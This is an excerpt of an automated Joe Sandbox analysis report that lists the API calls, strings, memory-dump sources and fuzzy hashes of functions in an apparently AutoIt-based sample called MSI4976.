RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,00000000,?,?,0033EADA,?,?), ref: 00394B26
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,?,00000000,?,?,0033EADA,?,?), ref: 00394B65
RegCloseKey.ADVAPI32(?,?,0033EADA,?,?), ref: 00394B94

Strings

Software\AutoIt v3\AutoIt, xrefs: 0033EB1D
Include, xrefs: 00394B1E, 00394B5D

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: QueryValue$CloseOpen
String ID: Include$Software\AutoIt v3\AutoIt
API String ID: 1586453840-614718249
Opcode ID: 7015504bbff8d1cb33aebbbb43aeac614de232f713aeac6d32fc9f4a34c96205
Instruction ID: 43a24568c21886dd9f74e25314faf8f3303adda22618cbaebb8d03aeb13d05bc
Opcode Fuzzy Hash: 7015504bbff8d1cb33aebbbb43aeac614de232f713aeac6d32fc9f4a34c96205
Instruction Fuzzy Hash: 08114F71600118BEEB06DBA4DD86EFF77BCEF04358F100055F606E6190EA709E01DB50

Function 00322E9D Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000), ref: 00322ECB
CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00322EEC
ShowWindow.USER32(00000000), ref: 00322F00
ShowWindow.USER32(00000000), ref: 00322F09

Strings

AutoIt v3, xrefs: 00322EC3, 00322EC8, 00322EC9
edit, xrefs: 00322EE6

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: Window$CreateShow
String ID: AutoIt v3$edit
API String ID: 1584632944-3779509399
Opcode ID: b45da5f349088e64941c0d61e8f3a039cd56afd8f9e31570e85a77f094e6467d
Instruction ID: 9310b9b1b745b6d8c9f7ae273c2af6febd571294348a7a849bad03e3627f78d4
Opcode Fuzzy Hash: b45da5f349088e64941c0d61e8f3a039cd56afd8f9e31570e85a77f094e6467d
Instruction Fuzzy Hash: 3CF0D0755402D07ADB329B576C88E772E7DD7C7F24F01421EBA059A1B0D5710CD5DA70

Function 00366D6D Relevance: 7.6, APIs: 5, Instructions: 79COMMON

Download Yara Rule

APIs

Part of subcall function 00323B1E: _wcsncpy.LIBCMT ref: 00323B32

GetFileAttributesW.KERNEL32(?,?,00000000), ref: 00366DBA
GetLastError.KERNEL32 ref: 00366DC5
CreateDirectoryW.KERNEL32(?,00000000), ref: 00366DD9
_wcsrchr.LIBCMT ref: 00366DFB

Part of subcall function 00366D6D: CreateDirectoryW.KERNEL32(?,00000000), ref: 00366E31

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: CreateDirectory$AttributesErrorFileLast_wcsncpy_wcsrchr
String ID:
API String ID: 3633006590-0
Opcode ID: 988925db24dfd29bf085793f022373e0263fb6f83aee954dbb959900101c6a1f
Instruction ID: f4268a73b0650792929e40109b8e41007ce20310e0b31987bffbc77e6a847267
Opcode Fuzzy Hash: 988925db24dfd29bf085793f022373e0263fb6f83aee954dbb959900101c6a1f
Instruction Fuzzy Hash: EE21E4756013149ADF277B74ED4BBEA33ACCF02390F218556E421CB0D6EF21DE848A64

Function 00379122 Relevance: 7.6, APIs: 5, Instructions: 71networkCOMMON

Download Yara Rule

APIs

Part of subcall function 0037ACD3: inet_addr.WS2_32(00000000), ref: 0037ACF5

socket.WS2_32(00000002,00000001,00000006,?,?,00000000), ref: 00379160
WSAGetLastError.WS2_32(00000000), ref: 0037916F
connect.WS2_32(00000000,?,00000010), ref: 0037918B

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: ErrorLastconnectinet_addrsocket
String ID:
API String ID: 3701255441-0
Opcode ID: 48b8de832a60a391b9e11b39811c0815c32d1d3da48bc8cbbd2386bb5a72886e
Instruction ID: d491eea201042fd7913ea895e4f38d68657c8f008fca9ae608bdfa7094ece19c
Opcode Fuzzy Hash: 48b8de832a60a391b9e11b39811c0815c32d1d3da48bc8cbbd2386bb5a72886e
Instruction Fuzzy Hash: 3D2190312006119FDB16AF68CC8AB6E77ADEF49724F048519F95AAB392CA74EC018B51

Function 0037F79F Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 385COMMON

Download Yara Rule

Strings

dE=, xrefs: 0037F865

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID:
String ID: dE=
API String ID: 0-1710837183
Opcode ID: 5423aeacb7586107c9a9d02b4dead90c57cb540af2ff379064d5ab83bf299258
Instruction ID: 748ba113d65e8422a42e6e6d6a90e92dbdb99f92c452b844e7b9838eb8df5c60
Opcode Fuzzy Hash: 5423aeacb7586107c9a9d02b4dead90c57cb540af2ff379064d5ab83bf299258
Instruction Fuzzy Hash: CBF18C716087019FC722DF28C880B5AB7E5FF88314F10896EF9999B292D735E905CF82

Function 00323A67 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

SHGetMalloc.SHELL32(1<2), ref: 00323A7D
SHGetPathFromIDListW.SHELL32(?,?), ref: 00323AD2
SHGetDesktopFolder.SHELL32(?), ref: 00323A8F

Part of subcall function 00323B1E: _wcsncpy.LIBCMT ref: 00323B32

Strings

1<2, xrefs: 00323A70, 00323B06, 00323AF1, 00323A76, 00323AF9, 00323B09

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: DesktopFolderFromListMallocPath_wcsncpy
String ID: 1<2
API String ID: 3981382179-1640791754
Opcode ID: 3e8bd59d1e5eba8a1eebc839eacb5ad41308bd5c501327cffa7db7046a43c6b1
Instruction ID: 7b52b14edc66c869afd8598ea9bd52b9581069d937b4fc33084487dbd4c4227d
Opcode Fuzzy Hash: 3e8bd59d1e5eba8a1eebc839eacb5ad41308bd5c501327cffa7db7046a43c6b1
Instruction Fuzzy Hash: 17215E76B00128ABCB15DF95DC88DEEB7BDEF89700B1040A8F50ADB251DB749E46CB90

Function 0033C955 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(80000001,Control Panel\Mouse,00000000,00000001,00000000,00000003,00000000,80000001,80000001,?,0033C948,SwapMouseButtons,00000004,?), ref: 0033C979
RegQueryValueExW.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,0033C948,SwapMouseButtons,00000004,?,?,?,?,0033BF22), ref: 0033C99A
RegCloseKey.KERNEL32(00000000,?,?,0033C948,SwapMouseButtons,00000004,?,?,?,?,0033BF22), ref: 0033C9BC

Strings

Control Panel\Mouse, xrefs: 0033C977

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Control Panel\Mouse
API String ID: 3677997916-824357125
Opcode ID: c3f60d1807f35c3a24f68d11be1a6ecacde6f131371ac296986de040d2f3e90f
Instruction ID: 52faccc036b74348d089ae49a2e6e92a234e5d71989cfd4b79546b7c583d5236
Opcode Fuzzy Hash: c3f60d1807f35c3a24f68d11be1a6ecacde6f131371ac296986de040d2f3e90f
Instruction Fuzzy Hash: 52113C75521208BFDB12CF64DC84EEF77BCEF05744F12945AA945E7210E731AE509B60

Function 0035A8C8 Relevance: 6.3, APIs: 4, Instructions: 306COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 768217c2182a650eac814016dd6fa8c55f098d3f35444bb0d790220a6a17fafb
Instruction ID: b2937576f338651d8b29de785c479f6553fedacc68f0bb21be7c551d44292334
Opcode Fuzzy Hash: 768217c2182a650eac814016dd6fa8c55f098d3f35444bb0d790220a6a17fafb
Instruction Fuzzy Hash: F4C19075A0061AEFCB15CF94C884EAEB7B5FF48301F114698ED01AB261D730DE45EBA1

Function 0032131C Relevance: 6.2, APIs: 3, Strings: 1, Instructions: 159COMMON

Download Yara Rule

APIs

Part of subcall function 003216F2: RegisterClipboardFormatW.USER32(WM_GETCONTROLNAME), ref: 00321751

GetStdHandle.KERNEL32(000000F6,00000000,00000000), ref: 0032159B
CoInitialize.OLE32(00000000), ref: 00321612
CloseHandle.KERNEL32(00000000), ref: 003958F7

Strings

'/6, xrefs: 00321406, 00321450, 0032146C

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: Handle$ClipboardCloseFormatInitializeRegister
String ID: '/6
API String ID: 458326420-535110787
Opcode ID: e6a9184a0bd4e0bf1bc842780bd4257ef1064f712c7525f8c4c610b427610485
Instruction ID: 07791e7d71d18bf18152b3e41c208142403fa75d998ad74ed71e8da3193c898f
Opcode Fuzzy Hash: e6a9184a0bd4e0bf1bc842780bd4257ef1064f712c7525f8c4c610b427610485
Instruction Fuzzy Hash: 837198B99012D58AC723DF6BB9D0898BABCFB59744B94432ED00A8F7E2DB7044849F11

Function 0036CC82 Relevance: 6.2, APIs: 4, Instructions: 154COMMON

Download Yara Rule

APIs

Part of subcall function 003241A7: _fseek.LIBCMT ref: 003241BF

Part of subcall function 0036CE59: _wcscmp.LIBCMT ref: 0036CF49
Part of subcall function 0036CE59: _wcscmp.LIBCMT ref: 0036CF5C

_free.LIBCMT ref: 0036CDC9
_free.LIBCMT ref: 0036CDD0
_free.LIBCMT ref: 0036CE3B

Part of subcall function 003428CA: RtlFreeHeap.NTDLL(00000000,00000000,?,00348715,00000000,003488A3,00344673,?), ref: 003428DE
Part of subcall function 003428CA: GetLastError.KERNEL32(00000000,?,00348715,00000000,003488A3,00344673,?), ref: 003428F0

_free.LIBCMT ref: 0036CE43

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: _free$_wcscmp$ErrorFreeHeapLast_fseek
String ID:
API String ID: 1552873950-0
Opcode ID: 3bbf84d6b84c5ccb4406d7a14d13c4f849fbec825050499589f31b9b6ee91132
Instruction ID: efe8a3c6eddd0578fa59cd8dd39cf6e3d0ff4ceaaf18b757db2c82303f3d621e
Opcode Fuzzy Hash: 3bbf84d6b84c5ccb4406d7a14d13c4f849fbec825050499589f31b9b6ee91132
Instruction Fuzzy Hash: 11515FB1904218AFDF159F64DC81AAEB7B9EF08300F1040AEF659A7241D7716A90CF29

Function 00321E58 Relevance: 6.1, APIs: 4, Instructions: 65timewindowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00321E87

Part of subcall function 003238E4: _memset.LIBCMT ref: 00323965
Part of subcall function 003238E4: _wcscpy.LIBCMT ref: 003239B5
Part of subcall function 003238E4: Shell_NotifyIconW.SHELL32(00000001,?), ref: 003239C6

KillTimer.USER32(?,00000001), ref: 00321EDC
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00321EEB
Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 00394526

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: IconNotifyShell_Timer_memset$Kill_wcscpy
String ID:
API String ID: 1378193009-0
Opcode ID: 0b97a6cbe52255542eb2f67cf3b6cc15445589f9307a2c67311994070de696a4
Instruction ID: 9c297789e6aa59ca0bb48b9a1c0e37a9c1ac28e94c936e5865226c42075bf684
Opcode Fuzzy Hash: 0b97a6cbe52255542eb2f67cf3b6cc15445589f9307a2c67311994070de696a4
Instruction Fuzzy Hash: 472138B1904394AFEB338B64DC55FEBBBEC9B16308F06008DE69E5B181C7746A85CB51

Function 003792C0 Relevance: 6.1, APIs: 4, Instructions: 60networkCOMMON

Download Yara Rule

APIs

Part of subcall function 0033F26B: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,0036AEA5,?,?,00000000,00000008), ref: 0033F282
Part of subcall function 0033F26B: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,0036AEA5,?,?,00000000,00000008), ref: 0033F2A6

gethostbyname.WS2_32(?), ref: 003792F0
WSAGetLastError.WS2_32(00000000), ref: 003792FB
_memmove.LIBCMT ref: 00379328
inet_ntoa.WS2_32(?), ref: 00379333

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLast_memmovegethostbynameinet_ntoa
String ID:
API String ID: 1504782959-0
Opcode ID: 9a64e074bed78ae7bf0a41092b80a3ef4a7ff7b9422de5ad3cfca114681ba933
Instruction ID: 472af2680db209451ce41e0aa49d893768f276c738da5318c3df56166dc83369
Opcode Fuzzy Hash: 9a64e074bed78ae7bf0a41092b80a3ef4a7ff7b9422de5ad3cfca114681ba933
Instruction Fuzzy Hash: 35116035900519AFCB16FFA0DD56DEE77BDEF08310B108025F506AB2A2DB30AE04DB51

Function 0035E2E8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 69windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0032193B: SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,?), ref: 00321952

SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 0035E344
_strlen.LIBCMT ref: 0035E34F

Strings

@U=u, xrefs: 0035E344

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: MessageSend$Timeout_strlen
String ID: @U=u
API String ID: 2777139624-2594219639
Opcode ID: 528ab9bd1fe8c8e7db9c157349c1362f7cfe61479372c6f44d068e2b3be9bc2d
Instruction ID: 9eaf747a3d1ed926cdb4adcf148499a6785dbd842d230726bf87e4bc96a0e348
Opcode Fuzzy Hash: 528ab9bd1fe8c8e7db9c157349c1362f7cfe61479372c6f44d068e2b3be9bc2d
Instruction Fuzzy Hash: A111E33520021467CB0ABF69EC86DBF7BA89F45341B000479FA06DF1A2DE749A4986A0

Function 0034010A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

Part of subcall function 003445EC: __FF_MSGBANNER.LIBCMT ref: 00344603
Part of subcall function 003445EC: __NMSG_WRITE.LIBCMT ref: 0034460A
Part of subcall function 003445EC: RtlAllocateHeap.NTDLL(017C0000,00000000,00000001), ref: 0034462F

std::exception::exception.LIBCMT ref: 0034013E
__CxxThrowException@8.LIBCMT ref: 00340153

Part of subcall function 00347495: RaiseException.KERNEL32(?,?,0032125D,003D6598,?,?,?,00340158,0032125D,003D6598,?,00000001), ref: 003474E6

Strings

bad allocation, xrefs: 00340137

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: AllocateExceptionException@8HeapRaiseThrowstd::exception::exception
String ID: bad allocation
API String ID: 3902256705-2104205924
Opcode ID: f83937dcff58a724d11853eed29e5213254103d999eacf30f4a1547be84aa889
Instruction ID: 26b613da4b796d6c149587b8195db0fb39de1ed639e60e2238a96000606e25b4
Opcode Fuzzy Hash: f83937dcff58a724d11853eed29e5213254103d999eacf30f4a1547be84aa889
Instruction Fuzzy Hash: 7AF0687D20821D66CB1BAFE8DC029DE7BEC9F05350F100456FA06AE581DBB0F68096E5

Function 0032C610 Relevance: 4.6, APIs: 3, Instructions: 125COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000001,?,?,00000000,00000000,?,?,?,0032C00E,?,?,?,?,00000010), ref: 0032C627
MultiByteToWideChar.KERNEL32(00000000,00000001,?,?,00000000,?,?,?,00000010), ref: 0032C65F
_memmove.LIBCMT ref: 0032C697

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: ByteCharMultiWide$_memmove
String ID:
API String ID: 3033907384-0
Opcode ID: a436cbd6dcac87135454901e5b69c03fe746761f357b709c427a55c99aebb0cb
Instruction ID: 15c128476bf16c8bf9e0edbab950132b396298af340b7bf3846e48b45e5eb042
Opcode Fuzzy Hash: a436cbd6dcac87135454901e5b69c03fe746761f357b709c427a55c99aebb0cb
Instruction Fuzzy Hash: 763107B26002016BDB2A9B74E846B2BB7D9EF44310F14553AF95ACF690EB32E950C751

Function 003445EC Relevance: 4.6, APIs: 3, Instructions: 59memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

__FF_MSGBANNER.LIBCMT ref: 00344603

Part of subcall function 00348E52: __NMSG_WRITE.LIBCMT ref: 00348E79
Part of subcall function 00348E52: __NMSG_WRITE.LIBCMT ref: 00348E83

__NMSG_WRITE.LIBCMT ref: 0034460A

Part of subcall function 00348EB2: GetModuleFileNameW.KERNEL32(00000000,003E0312,00000104,?,00000001,00340127), ref: 00348F44
Part of subcall function 00348EB2: ___crtMessageBoxW.LIBCMT ref: 00348FF2

